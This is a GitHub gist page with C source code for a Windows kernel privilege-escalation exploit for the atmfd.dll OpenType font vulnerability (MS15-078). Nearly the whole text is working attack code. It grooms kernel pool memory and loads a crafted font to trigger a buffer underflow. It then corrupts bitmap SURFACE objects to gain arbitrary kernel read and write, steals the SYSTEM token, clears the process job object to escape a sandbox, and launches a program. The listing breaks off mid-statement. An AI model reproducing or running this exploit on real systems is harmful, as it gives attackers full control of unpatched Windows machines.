Skip to content

Instantly share code, notes, and snippets.

@tandasat
Forked from sh1n0b1/elevator.c
Created April 27, 2016 11:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tandasat/fe58510ace14d27bf455a487b4c0a5d2 to your computer and use it in GitHub Desktop.
Save tandasat/fe58510ace14d27bf455a487b4c0a5d2 to your computer and use it in GitHub Desktop.
Windows Open Type ‘atmfd.dll’ Privilege Escalation MS15-078
#include <stdio.h>
#include <string.h>
#include "lib.h"
#include <Wininet.h>
//#include "starter.h"
//include OTF
#include "font.h" // foofont is fetched from loader config struct
//#include "cert.h"
#include "loader.h"
#pragma pack(1)
#define smallbitmapw64 12
#define smallbitmaph64 7
#define smallbitmapw32 17
#define smallbitmaph32 10
#define largebitmapw 110
#define largebitmaph 100
//obtain kernel address of a gdi handle
#define handleaddr(handle) *(unsigned int*)(lpTable->locals->gditable+0x10*(((unsigned int)handle)&0xFFFF))
#define handleaddr64low(handle) *(unsigned int*)(lpTable->locals->gditable+0x18*(((unsigned int)handle)&0xFFFF))
#define handleaddr64high(handle) *(unsigned int*)(lpTable->locals->gditable+0x18*(((unsigned int)handle)&0xFFFF)+4)
//unsigned int gditable; //address of gdi shared handle table
//HBITMAP hBitmap;
//HBITMAP hBitmapslarge[1000];
//HBITMAP testbitmap = NULL;
//int firstfailed = 0;
//HBITMAP thehandle;
unsigned int arbread(PVTABLE lpTable, unsigned int addrl, unsigned int addrh);
unsigned int arbwrite(PVTABLE lpTable, unsigned int addrl, unsigned int addrh, unsigned int value0, unsigned int value1);
__declspec(naked) _cdecl void stackprobe(void)
{
/* apparently naked doesn't work */
//_asm("popl %ebp"); //workaround
_asm("popl %ecx");
_asm("movl $0x40100, %eax");
_asm("loop:");
_asm("subl $0x1000, %esp");
_asm("subl $0x1000, %eax");
_asm("testl (%esp), %eax");
_asm("cmpl $0x1000, %eax");
_asm("jae loop");
_asm("subl %eax, %esp");
_asm("testl (%esp), %eax");
_asm("jmp %ecx");
}
// ported
void allocatetestbitmap(PVTABLE lpTable) {
unsigned int buf[largebitmapw*largebitmaph*3];
BITMAPINFO bmpinfo;
__MEMSET__(buf, 0xDE, sizeof(buf));
lpTable->locals->testbitmap = lpTable->fpCreateBitmap(largebitmapw, (largebitmaph+1)*3, 1, 32, buf);
}
//allocate multiple chunks of 0xB000 bytes
// ported
void allocatelargebitmaps(PVTABLE lpTable) {
int i;
unsigned int buf[largebitmapw*largebitmaph];
BITMAPINFO bmpinfo;
__MEMSET__(buf, 0xDE, sizeof(buf));
for (i = 0; i < sizeof(lpTable->locals->hBitmapslarge)/4; i++) {
if (lpTable->locals->hBitmapslarge[i])
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[i]);
}
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge));
for (i = 0; i < sizeof(lpTable->locals->hBitmapslarge)/4; i++) {
lpTable->locals->hBitmapslarge[i] = lpTable->fpCreateBitmap(largebitmapw, largebitmaph, 1, 32, buf);
if (lpTable->locals->hBitmapslarge[i] == 0x0)
break;
}
}
// ported
int __declspec(naked) __stdcall getgditable64(void) {
_asm("mov %fs:(0x18), %eax");
_asm("mov 0xF70(%eax), %eax");
_asm("mov 0x60(%eax), %eax");
_asm("mov 0xF8(%eax), %eax");
_asm("ret");
}
int (*addressOfRtlGetCurrentPeb)(void);
int _stdcall (*NamedEscape)(HDC hdc, wchar_t *pDriver, int nEscape, int cbInput, void* lpszInData, int cbOutput, void* lpszOutData);
//fix CFF table checksum after alteration
//ported
void fixchecksum(PVTABLE lpTable) {
char tmp[0xB18F8];
int i;
unsigned int sum = 0;
__MEMSET__(tmp, 0, sizeof(tmp));
__MEMCPY__(tmp, lpTable->lpLoaderConfig->foofont+0x568, 0x9BF67);
for (i = 0; i < sizeof(tmp); i+=4)
sum += lpTable->fpHtonl(*(unsigned int*)(tmp+i));
*(unsigned int*)(lpTable->lpLoaderConfig->foofont+0x10) = lpTable->fpHtonl(sum);
}
//SURFACE kernel object, located at the kernel address of a bitmap handle
typedef struct {
unsigned int handle0;
unsigned int unk0[4];
unsigned int handle1;
unsigned int unk1[2];
unsigned int width;
unsigned int height;
unsigned int size;
unsigned int address0;
unsigned int address1;
unsigned int scansize;
unsigned int unk2;
unsigned int bmpformat;
unsigned int surftype;
unsigned int unk3;
unsigned int surflags;
unsigned int unk4[12];
} SURFACE;
typedef struct {
unsigned int handle0;
unsigned int unk0[7];
unsigned int handle1;
unsigned int unk1[5];
unsigned int width;
unsigned int height;
unsigned int size;
unsigned int sizeh;
unsigned int address0low;
unsigned int address0high;
unsigned int address1low;
unsigned int address1high;
unsigned int scansize;
unsigned int unk2;
unsigned int bmpformat;
unsigned int surftype;
unsigned int unk3[2];
unsigned int surflags;
unsigned int unk4[12];
} SURFACE64;
typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
// ported
void getplatformandOS(PVTABLE lpTable) {
OSVERSIONINFOEX osvi;
ISWOW64PROCESS fnIsWow64Process;
BOOL bIs64 = 0;
fnIsWow64Process = lpTable->fpIsWow64Process;
if (fnIsWow64Process)
fnIsWow64Process(lpTable->fpGetCurrentProcess(),&bIs64);
__MEMSET__(&osvi, 0, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (! lpTable->fpGetVersionExA((OSVERSIONINFO*) &osvi))
return;
if ((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1))
lpTable->locals->isxp = 1;
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0))
lpTable->locals->isvista = 1;
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1))
lpTable->locals->is7 = 1;
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 2))
lpTable->locals->is8 = 1;
// TODO FIXME
if ((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 2))
lpTable->locals->is81 = 1;
lpTable->locals->is64 = bIs64;
}
BOOL CompareWindowsVersion(PVTABLE lpTable, DWORD dwMajorVersion, DWORD dwMinorVersion);
ULONGLONG WINAPI VerSetConditionMask( ULONGLONG dwlConditionMask, DWORD dwTypeBitMask, BYTE dwConditionMask);
#define VER_SET_CONDITION(_m_,_t_,_c_) ((_m_)=lpTable->fpVerSetConditionMask((_m_),(_t_),(_c_)))
#define VER_MINORVERSION 0x0000001
#define VER_MAJORVERSION 0x0000002
#define VER_BUILDNUMBER 0x0000004
#define VER_PLATFORMID 0x0000008
#define VER_SERVICEPACKMINOR 0x0000010
#define VER_SERVICEPACKMAJOR 0x0000020
#define VER_SUITENAME 0x0000040
#define VER_PRODUCT_TYPE 0x0000080
#define VER_EQUAL 1
#define VER_GREATER 2
#define VER_GREATER_EQUAL 3
#define VER_LESS 4
#define VER_LESS_EQUAL 5
#define VER_AND 6
#define VER_OR 7
#define VER_CONDITION_MASK 7
#define VER_NUM_BITS_PER_CONDITION_MASK 3
BOOL CompareWindowsVersion(PVTABLE lpTable, DWORD dwMajorVersion, DWORD dwMinorVersion)
{
OSVERSIONINFOEX ver;
DWORDLONG dwlConditionMask = 0;
__MEMSET__(&ver, 0, sizeof(OSVERSIONINFOEX));
ver.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
ver.dwMajorVersion = dwMajorVersion;
ver.dwMinorVersion = dwMinorVersion;
VER_SET_CONDITION(dwlConditionMask, VER_MAJORVERSION, VER_EQUAL);
VER_SET_CONDITION(dwlConditionMask, VER_MINORVERSION, VER_EQUAL);
return lpTable->fpVerifyVersionInfoA(&ver, VER_MAJORVERSION | VER_MINORVERSION, dwlConditionMask);
}
int exploit(PVTABLE lpTable) {
char inbuf[0x20009];
char outbuf[0x20009];
//char *inbuf = lpTable->locals->inbuf;
//char *outbuf = lpTable->locals->outbuf;
unsigned int i, j, min, max, count;
unsigned int peb;
int found = 0;
SURFACE64 surf64;
SURFACE surf32;
unsigned int tmp[4];// = {0,0,0,0};
__MEMSET__(tmp, 0, 4);
unsigned char lastbytes[256];
unsigned int corruptedchunk, flink, blink;
unsigned int realchunksize = largebitmapw*largebitmaph*4;
unsigned int buf64[smallbitmapw64*smallbitmaph64];
unsigned int buf32[smallbitmapw32*smallbitmaph32];
unsigned int sysproch;
unsigned int sysprocl;
unsigned int systokenh;
unsigned int systokenl;
unsigned int origtokenh;
unsigned int origtokenl;
unsigned int origjobh;
unsigned int origjobl;
unsigned int kbase = 0;
unsigned int kproc = 0;
unsigned int pid_offset = 0x2e0;
unsigned int flink_offset = pid_offset + 8;
unsigned int job_offset = 0x3A0;
unsigned int token_offset = 0x348;
char buf_dbg[256];
char logBuffer[1024];
//UINT64 fLastTime = 0, fTemp = 0;
HANDLE hProcessHeap = lpTable->fpGetProcessHeap();
//char *inbuf = (char *) lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, 0x20009);
//char *outbuf = (char *) lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, 0x20009);
//unsigned int *buf64 = (unsigned int *)lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, smallbitmapw64*smallbitmaph64);
//unsigned int *buf32 = (unsigned int *)lpTable->fpHeapAlloc(hProcessHeap, 0x00000008, smallbitmapw32*smallbitmaph32);
//lpTable->lpLoaderConfig->foofont = foofont;
int (*fpAddressOfRtlGetCurrentPeb)(void);
fpNamedEscape NamedEscape;
//char cExploit[20] = { '[', '*', ']', '\t', 'e', 'x', 'p', 'l', 'o', 'i', 't', '(', ')', '\n', 0x0};
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strExploit);
getplatformandOS(lpTable);
prepare_for_exploit(lpTable);
if(CompareWindowsVersion(lpTable, 6, 3))
kbase = 0xFFFFE000;
else
kbase = 0xFFFFFA80;
lpTable->fpSnprintf(logBuffer, 1024, lpTable->lpLoaderConfig->strKbase, kbase);
lpTable->fpOutputDebugStringA(logBuffer);
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge));
if (lpTable->locals->is64)
lpTable->locals->hBitmap = lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64);
else
lpTable->locals->hBitmap = lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32);
__MEMSET__(outbuf, 0, sizeof(outbuf));
__MEMSET__(inbuf, 0, sizeof(outbuf));
__MEMSET__(buf64, 0, sizeof(buf64));
__MEMSET__(buf32, 0, sizeof(buf32));
//obtain GdiSharedHandleTable
char *cNtdll = lpTable->lpLoaderConfig->strNtDll;
char *cGdi32 = lpTable->lpLoaderConfig->strGdi32;
char *cRtlGetCurrentPeb = lpTable->lpLoaderConfig->strRtlGetCurrentPeb;
char *cNamedEscape = lpTable->lpLoaderConfig->strNamedEscape;
if (lpTable->locals->is64)
lpTable->locals->gditable = getgditable64();
else {
fpAddressOfRtlGetCurrentPeb = (int (*)(void)) lpTable->GetProcAddress(lpTable->fpGetModuleHandleA(cNtdll), cRtlGetCurrentPeb);
peb = fpAddressOfRtlGetCurrentPeb();
lpTable->locals->gditable = *(unsigned int*)(peb + 0x94);
}
NamedEscape = (fpNamedEscape) lpTable->GetProcAddress(lpTable->fpGetModuleHandleA(cGdi32), cNamedEscape);
lpTable->fpSnprintf(buf_dbg, 256, lpTable->lpLoaderConfig->strGdiTable, lpTable->locals->gditable);
lpTable->fpOutputDebugStringA(buf_dbg);
//prepare a SURFACE object which will overwrite the SURFACE object of a large bitmap
//this will enable us to modify hBitmap's pixel data in kernel
if (!lpTable->locals->is64) {
__MEMSET__(&surf32, 0, sizeof(surf32));
surf32.width = largebitmapw;
surf32.height = largebitmaph;
surf32.size = surf32.width*surf32.height*4;
//point to hBitmap SURFACE->address0, which contains the kernel address of bitmap data
surf32.address0 = surf32.address1 = handleaddr(lpTable->locals->hBitmap) + 0x2C;
surf32.scansize = surf32.width*4;
surf32.bmpformat = 0x6; //BMF_32BPP
surf32.surftype = 0x00010000; //STYPE_DEVICE
surf32.surflags = 0x04800000; //API_BITMAP | HOOK_TEXTOUT
//write to the OTF data loaded from font.h
for (i = 0; i < sizeof(surf32); i+=2) {
unsigned short tmp = *(unsigned short*)((unsigned int)&surf32+i);
*(unsigned short*)(lpTable->lpLoaderConfig->foofont+0x16DF3+i) = lpTable->fpHtons(tmp);
}
} else {
__MEMSET__(&surf64, 0, sizeof(surf64));
surf64.width = largebitmapw;
surf64.height = largebitmaph;
surf64.size = surf64.width*surf64.height*4;
//point to hBitmap SURFACE->address0, which contains the kernel address of bitmap data
surf64.address0low = surf64.address1low = handleaddr64low(lpTable->locals->hBitmap) + 0x48;
surf64.address0high = surf64.address1high = handleaddr64high(lpTable->locals->hBitmap);
surf64.scansize = surf64.width*4;
surf64.bmpformat = 0x6; //BMF_32BPP
surf64.surftype = 0x00010000; //STYPE_DEVICE
surf64.surflags = 0x04800200; //API_BITMAP | HOOK_TEXTOUT
//write to the OTF data loaded from font.h
for (i = 0; i < sizeof(surf64); i+=2) {
unsigned short tmp = *(unsigned short*)((unsigned int)&surf64+i);
*(unsigned short*)(lpTable->lpLoaderConfig->foofont+0x16DEF+i) = lpTable->fpHtons(tmp);
}
}
//fix CFF table checksum
fixchecksum(lpTable);
////////////////////
/*fTemp = getTime();
snprintf(logBuffer, 1024, "[*] font ready: %llu\n", fTemp-fLastTime);
logLine(logBuffer);
fLastTime = fTemp;*/
//prepare memory
for (i = 0; i < 100; i++)
if (lpTable->locals->is64)
lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64);
else
lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32);
/*fTemp = getTime();
snprintf(logBuffer, 1024, "[*] memory prepared, will not load font instances: %llu\n", fTemp-fLastTime);
logLine(logBuffer);
fLastTime = fTemp;*/
//find the kernel address of the font object by allocating a 0x330 bitmap object
//in the session pool immediately after loading the font, this places the bitmap
//object in the vicinity of the font object
WCHAR *wcAtmfd = lpTable->lpLoaderConfig->strAtmfd;
while (found == 0) {
//load the font
//load the font
unsigned char fontloaded = 0;
HANDLE fhandle;
for (j = 0; j < 15; j++) {
tmp[0] = 0;
/*fTemp = getTime();
snprintf(logBuffer, 1024, "[*] %d *Sleep * First AddFontMemResourceEx: %llu\n", j, fTemp-fLastTime);
logLine(logBuffer);
fLastTime = fTemp;*/
fhandle = lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]);
if (fhandle)
{
fontloaded = 1;
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strFontFound);
}
}
if (fontloaded == 0) {
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strProcessInternal);
return -1;
}
if (lpTable->locals->is64)
j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64);
else
j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32);
if (lpTable->locals->is64) {
tmp[0] = handleaddr64low(j);
tmp[1] = handleaddr64high(j);
} else
tmp[0] = handleaddr(j);
min = tmp[0]-0x4000;
max = tmp[0]+0x4000;
for (j = 0; j < 15; j++) {
tmp[0] = 0;
//lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]);
if (lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]))
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strFontFound);
}
for (i = min; i < max; i+=8) {
int ret;
*(unsigned int*)inbuf = i;
if (lpTable->locals->is64)
*(unsigned int*)(inbuf+4) = tmp[1];
__MEMSET__(outbuf, 0, sizeof(outbuf));
//call an internal atmfd.dll function which receives a kernel font object as input and validates it
//also returning data that identifies the font
if (lpTable->locals->is64) {
ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x10, inbuf, 0x10, outbuf);
} else {
ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x0C, inbuf, 0x0C, outbuf);
}
if (ret != 0xFFFFFF21) {
char *p;
if (lpTable->locals->is64)
p = outbuf+8;
else
p = outbuf+4;
if (__MEMCMP__(p, lpTable->lpLoaderConfig->strFontEgg, 8) == 0) {
found = 1;
break;
}
}
}
}
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strFontFound);
////////////////
if (found) {
int count, addr1, addr2;
int matchcount = 0;
int direction = 0;
int matched = -1;
//store the found object to the input buffer
__MEMSET__(inbuf, 0, sizeof(inbuf));
*(unsigned int*)inbuf = i;
if (lpTable->locals->is64) {
*(unsigned short*)(inbuf+8) = (sizeof(inbuf)-0xE)/2;
*(unsigned int*)(inbuf+4) = tmp[1];
} else
*(unsigned short*)(inbuf+4) = (sizeof(inbuf)-10)/2;
retry:
//allocate large bitmaps (0xB000) in order to place a kernel buffer of 0x21000 bytes at a desired address
allocatelargebitmaps(lpTable);
for (i = 0; i < sizeof(lpTable->locals->hBitmapslarge)/4; i++)
if (lpTable->locals->hBitmapslarge[i] == 0)
break;
count = i;
//locate 9 consecutive 0xB000 kernel chunks that were allocated in order
for (i = 1; i < count; i++) {
if (i >= count/2) {
unsigned int addr1;
unsigned int addr2;
if (lpTable->locals->is64) {
addr1 = handleaddr64low(lpTable->locals->hBitmapslarge[i-1]);
addr2 = handleaddr64low(lpTable->locals->hBitmapslarge[i]);
} else {
addr1 = handleaddr(lpTable->locals->hBitmapslarge[i-1]);
addr2 = handleaddr(lpTable->locals->hBitmapslarge[i]);
}
if (addr2 - addr1 == 0xB000) {
if (direction == 1)
matchcount = 0;
direction = 0;
matchcount++;
}
else if (addr1 - addr2 == 0xB000) {
if (direction == 0)
matchcount = 0;
direction = 1;
matchcount++;
}
else {
matchcount = 0;
}
if (matchcount == 9) {
matched = i-5;
break;
}
}
}
if (matched == -1) {
return -1;
}
//remove three consecutive 0xB000 chunks -> concatenated into one large 0x21000 free chunk
if (!direction) {
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched]);
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+1]);
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+2]);
} else {
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+2]);
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched+1]);
lpTable->fpDeleteObject(lpTable->locals->hBitmapslarge[matched]);
}
allocatetestbitmap(lpTable);
if (lpTable->locals->testbitmap == NULL) {
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strBitmapFailed);
exit(0);
}
if (lpTable->locals->is64) {
if (!direction)
if (handleaddr64low(lpTable->locals->testbitmap) != handleaddr64low(lpTable->locals->hBitmapslarge[matched-1])+0xB000)
{
// DeleteObject(testbitmap);
goto retry;
}
if (direction)
if (handleaddr64low(lpTable->locals->testbitmap) != handleaddr64low(lpTable->locals->hBitmapslarge[matched+3])+0xB000)
{
// DeleteObject(testbitmap);
goto retry;
}
} else {
if (!direction)
if (handleaddr(lpTable->locals->testbitmap) != handleaddr(lpTable->locals->hBitmapslarge[matched-1])+0xB000)
{
// DeleteObject(testbitmap);
goto retry;
}
if (direction)
if (handleaddr(lpTable->locals->testbitmap) != handleaddr(lpTable->locals->hBitmapslarge[matched+3])+0xB000)
{
// DeleteObject(testbitmap);
goto retry;
}
}
lpTable->fpDeleteObject(lpTable->locals->testbitmap);
//getchar();
//call atmfd.dll function 0x2514 with an input buffer of 0x20005 bytes
//the input buffer has the kernel address of the loaded font in the first dword
//and the size of words its able to hold in the following word
//before entering atmfd.dll, win32k.dll allocates a kernel buffer of 0x21000 bytes for the input buffer
//this kernel buffer will be allocated into the previously created hole
//function 0x2514 will also trigger the exploited vulnerability,
//which will underflow the 0x21000 buffer with controlled data,
//corrupting the SURFACE object of the bitmap object placed below the buffer
//with the previously constructed SURFACE object (pointing to hBitmap)
/*fTemp = getTime();
snprintf(logBuffer, 1024, "[*] triggering vuln: %llu\n", fTemp-fLastTime);
logLine(logBuffer);
fLastTime = fTemp;*/
if (lpTable->locals->is64) {
NamedEscape(NULL, wcAtmfd, 0x2514, sizeof(inbuf), inbuf, sizeof(outbuf), outbuf);
} else {
NamedEscape(NULL, wcAtmfd, 0x2514, sizeof(inbuf)-4, inbuf, sizeof(outbuf)-4, outbuf);
}
//obtain the handle of the modified bitmap
//direction represents the direction in which the memory grows on allocation
//0 = up (XP)
//1 = down (7)
if (!direction)
lpTable->locals->thehandle = lpTable->locals->hBitmapslarge[matched-1];
else
lpTable->locals->thehandle = lpTable->locals->hBitmapslarge[matched+3];
__MEMSET__(lastbytes, 0, sizeof(lastbytes));
lpTable->fpGetBitmapBits(lpTable->locals->thehandle, sizeof(lastbytes), lastbytes);
//validate scan size - check if exploit was successful
if (lpTable->locals->is64) {
if (*(unsigned int*)(lastbytes+16) != smallbitmapw64*4) {
//THIS SHOULD NEVER OCCUR
//lpTable->fpOutputDebugStringA("Should never 1\n");
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge));
lpTable->locals->firstfailed = 1;
goto retry;
}
} else {
if (*(unsigned int*)(lastbytes+8) != smallbitmapw32*4) {
//THIS SHOULD NEVER OCCUR
//lpTable->fpOutputDebugStringA("Should never 2\n");
__MEMSET__(lpTable->locals->hBitmapslarge, 0, sizeof(lpTable->locals->hBitmapslarge));
lpTable->locals->firstfailed = 1;
goto retry;
}
}
//call SetBitmapBits on thehandle,
//effectively overwriting the bitmap bits address of hBitmap
if (lpTable->locals->is64) {
tmp[0] = tmp[2] = handleaddr64low(lpTable->locals->thehandle);
tmp[1] = tmp[3] = handleaddr64high(lpTable->locals->thehandle);
} else {
tmp[0] = tmp[1] = handleaddr(lpTable->locals->thehandle);
}
//after this call, [Set/Get]BitmapBits(hBitmap) will read or write data to
//our desired address (in this case the real address of the initially corrupted bitmap)
if (lpTable->locals->is64)
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
else
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
//write the bitmap handle to its SURFACE object
//avoiding future kernel panics
if (lpTable->locals->is64) {
surf64.handle0 = surf64.handle1 = (unsigned int)lpTable->locals->thehandle;
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(surf64), &surf64);
} else {
surf32.handle0 = surf32.handle1 = (unsigned int)lpTable->locals->thehandle;
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(surf32), &surf32);
}
//fix corrupted heap chunk (placed before overwritten chunk)
//to avoid kernel crashes when freeing the chunk on program exit
//read 256 bytes from the beginning of a valid (not corrupted) bitmap
//in order to determine the number of bytes placed in kernel before the actual
//image bits
if (lpTable->locals->is64) {
tmp[0] = tmp[2] = handleaddr64low(lpTable->locals->hBitmapslarge[0]);
tmp[1] = tmp[3] = handleaddr64high(lpTable->locals->hBitmapslarge[0]);
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
} else {
tmp[0] = tmp[1] = handleaddr(lpTable->locals->hBitmapslarge[0]);
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
}
__MEMSET__(lastbytes, 0xDE, sizeof(lastbytes));
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(lastbytes), lastbytes);
if (*(unsigned int*)(lastbytes+(lpTable->locals->is64?0x48:0x2C)) == 0xDEDEDEDE) {
return -1;
}
//true chunk size = address of data bits - start address + width*height*4
if (lpTable->locals->is64)
realchunksize += *(unsigned int*)(lastbytes+0x48) - handleaddr64low(lpTable->locals->hBitmapslarge[0]);
else
realchunksize += *(unsigned int*)(lastbytes+0x2C) - handleaddr(lpTable->locals->hBitmapslarge[0]);
//chunks are followed e.g. on Windows 7 by a structure containing internal heap fields
//later used to validate the chunk
//e.g. flink, blink
//compute the address of the corrupted chunk and the flink and blink it should point to
if (lpTable->locals->is64) {
if (!direction) {
corruptedchunk = handleaddr64low(lpTable->locals->hBitmapslarge[matched-2]) + realchunksize;
flink = handleaddr64low(lpTable->locals->hBitmapslarge[matched-1]) + realchunksize;
blink = handleaddr64low(lpTable->locals->hBitmapslarge[matched-3]) + realchunksize;
} else {
corruptedchunk = handleaddr64low(lpTable->locals->hBitmapslarge[matched+4]) + realchunksize;
flink = handleaddr64low(lpTable->locals->hBitmapslarge[matched+5]) + realchunksize;
blink = handleaddr64low(lpTable->locals->hBitmapslarge[matched+3]) + realchunksize;
}
} else {
if (!direction) {
corruptedchunk = handleaddr(lpTable->locals->hBitmapslarge[matched-2]) + realchunksize;
flink = handleaddr(lpTable->locals->hBitmapslarge[matched-1]) + realchunksize;
blink = handleaddr(lpTable->locals->hBitmapslarge[matched-3]) + realchunksize;
} else {
corruptedchunk = handleaddr(lpTable->locals->hBitmapslarge[matched+4]) + realchunksize;
flink = handleaddr(lpTable->locals->hBitmapslarge[matched+5]) + realchunksize;
blink = handleaddr(lpTable->locals->hBitmapslarge[matched+3]) + realchunksize;
}
}
//read 256 bytes from the end of a valid HBITMAP
//in order to dynamically determine the location of the flink and blink fields
if (lpTable->locals->is64) {
tmp[0] = tmp[2] = flink;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
} else {
tmp[0] = tmp[1] = flink;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
}
lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(lastbytes), lastbytes);
for (i = 0; i < sizeof(lastbytes); i+=4) {
unsigned int dword = *(unsigned int*)(lastbytes+i);
if (corruptedchunk + i - (lpTable->locals->is64?8:4) == dword) {
break;
}
}
//once the offset to the blink is determined (blink is at i, flink is at i-4)
//the corrupted chunk's flink and blink fields are fixed
if (i != sizeof(lastbytes)) {
if (lpTable->locals->is64) {
*(unsigned int*)(lastbytes+i) = blink+i-8;
*(unsigned int*)(lastbytes+i-8) = flink+i-8;
tmp[0] = tmp[2] = corruptedchunk;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
} else {
*(unsigned int*)(lastbytes+i) = blink+i-4;
*(unsigned int*)(lastbytes+i-4) = flink+i-4;
tmp[0] = tmp[1] = corruptedchunk;
lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
}
lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(lastbytes), lastbytes);
}
lpTable->fpOutputDebugStringA(lpTable->lpLoaderConfig->strTraversingProcesses);
//traverse processes
unsigned int KiInitialProcessLow = arbread(lpTable, 0x00000300, 0xfffffa80); // uValue = nt!KiInitialProcess
unsigned int KiInitialProcessHigh = arbread(lpTable, 0x00000304, 0xfffffa80); // uValue = nt!KiInitialProcess
unsigned int KiInitialProcessMmProcessLinksFlinkLow = arbread(lpTable, KiInitialProcessLow + 0x5c0, KiInitialProcessHigh);
unsigned int KiInitialProcessMmProcessLinksFlinkHigh = arbread(lpTable, KiInitialProcessLow + 0x5c4, KiInitialProcessHigh);
kbase = KiInitialProcessMmProcessLinksFlinkHigh;
kproc = KiInitialProcessMmProcessLinksFlinkLow - 0x5c0;
unsigned int sysproc2l = kproc;
unsigned int sysproc2h = kbase;
sysprocl = kproc;
sysproch = kbase;
/* now I've got system eprocess, search for current process*/
DWORD dPid = lpTable->fpGetCurrentProcessId(); //GetCurrentProcessId();
//traverse processes
//sysprocl = arbread(kproc+flink_offset, kbase)-flink_offset;
//if (is64)
// sysproch = arbread(kproc+flink_offset+4, kbase);
for (;;) {
unsigned int tmpaddr;
if (arbread(lpTable, sysprocl + pid_offset, sysproch) == dPid) //System
{
break;
}
tmpaddr = arbread(lpTable, sysprocl + flink_offset, sysproch) - flink_offset;
if (lpTable->locals->is64)
sysproch = arbread(lpTable, sysprocl + flink_offset + 4, sysproch);
sysprocl = tmpaddr;
}
kproc = sysprocl;
sysprocl = sysproc2l;
sysproch = sysproc2h;
systokenh = 0;
if (!lpTable->locals->is64) {
systokenl = arbread(lpTable, sysprocl + token_offset, sysproch);
systokenl &= 0xFFFFFFF8;
}
else {
systokenl = arbread(lpTable, sysprocl + token_offset, sysproch);
systokenh = arbread(lpTable, sysprocl + token_offset + 4, sysproch);
systokenl &= 0xFFFFFFF0;
}
origtokenl = arbread(lpTable, kproc + token_offset, kbase);
if (lpTable->locals->is64)
origtokenh = arbread(lpTable, kproc + token_offset + 4, kbase);
arbwrite(lpTable, kproc + token_offset, kbase, systokenl, systokenh);
//clear out job object - escape potential sandbox
origjobl = arbread(lpTable, kproc + job_offset, kbase);
if (lpTable->locals->is64)
origjobh = arbread(lpTable, kproc + job_offset + 4, kbase);
arbwrite(lpTable, kproc + job_offset, kbase, 0, 0);
}
//EnumWindows(enumproc, GetCurrentProcessId());
/*
GetTempPath(1024, inbuf);
strcat(inbuf, "\\starter.exe");
writeEXE(inbuf, pdf, sizeof(pdf));
sprintf(outbuf, "%s 0x%x", inbuf, mywindow);
execstarter(outbuf);
ShowWindow(mywindow, SW_HIDE); */
//executeprogram("calc.exe");
execstarter(lpTable, lpTable->lpLoaderConfig->strCalc);
/* insert cert */
/*char insert_cert_path[MAX_PATH+1];
GetTempPath(MAX_PATH + 1, insert_cert_path);
strcat(insert_cert_path, "\\insert_cert.exe");
printf("path is %s\n", insert_cert_path);
HANDLE hFile = CreateFileA(insert_cert_path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
